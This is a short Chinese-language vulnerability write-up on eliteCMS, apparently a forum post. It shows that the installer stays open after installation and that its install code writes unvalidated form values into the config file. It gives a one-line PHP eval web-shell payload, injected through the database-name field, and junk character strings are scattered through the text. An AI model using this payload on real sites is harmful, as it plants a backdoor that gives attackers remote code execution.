eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

( _, x5 ?% p  J另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
; _$ v' d  c6 L$ l9 v: I/ P* d我们来看代码：

...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
/ U$ |# T) E  P0 m...略...
    $write .= "*\n";
# d! z8 A" {5 A* i$ M8 l- g! ]    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
9 z& w# p2 d7 T! V    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! S+ x& {& E8 i& j4 t3 X4 v/ _    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
7 Y$ g" P( F) t, Z    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
) y: C2 r% u3 B: G/ a3 w    $write .= "} \n";
1 Y4 V; T& H; d. S8 I    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
' u  w4 H# i3 D4 q* S) P, [1 Z    $write .= "} \n";
; l/ j. ?. ]; O! @6 l    $write .= "?>\n";

    $writer = fopen($file, 'w');
...
' L  H) B  I; s9 I+ b
+ ^1 _4 n$ H3 o) [在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
2 Q  J% }  r  ~$ j4 f& G" V' _- Q$_SESSION['DB_USER'] = $_POST['DB_USER'];
- C8 ?5 ~6 j$ t& |& z& m1 `$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
/ M& p: o1 a/ n; T! c
, L, Y2 W, y, V! V3 M8 R: O6 _取值未作任何验证
3 i0 ^- `3 e5 ~! |如果将数据库名POST数据：
5 P9 C' j: ~/ g1 ?2 }
6 v9 X- q. @& A/ ?( j"?><?php eval($_POST[c]);?><?php

; h4 D  R" u; q) Y" O1 b将导致一句话后门写入/admin/includes/config.php
8 D' b4 [; f' B) ~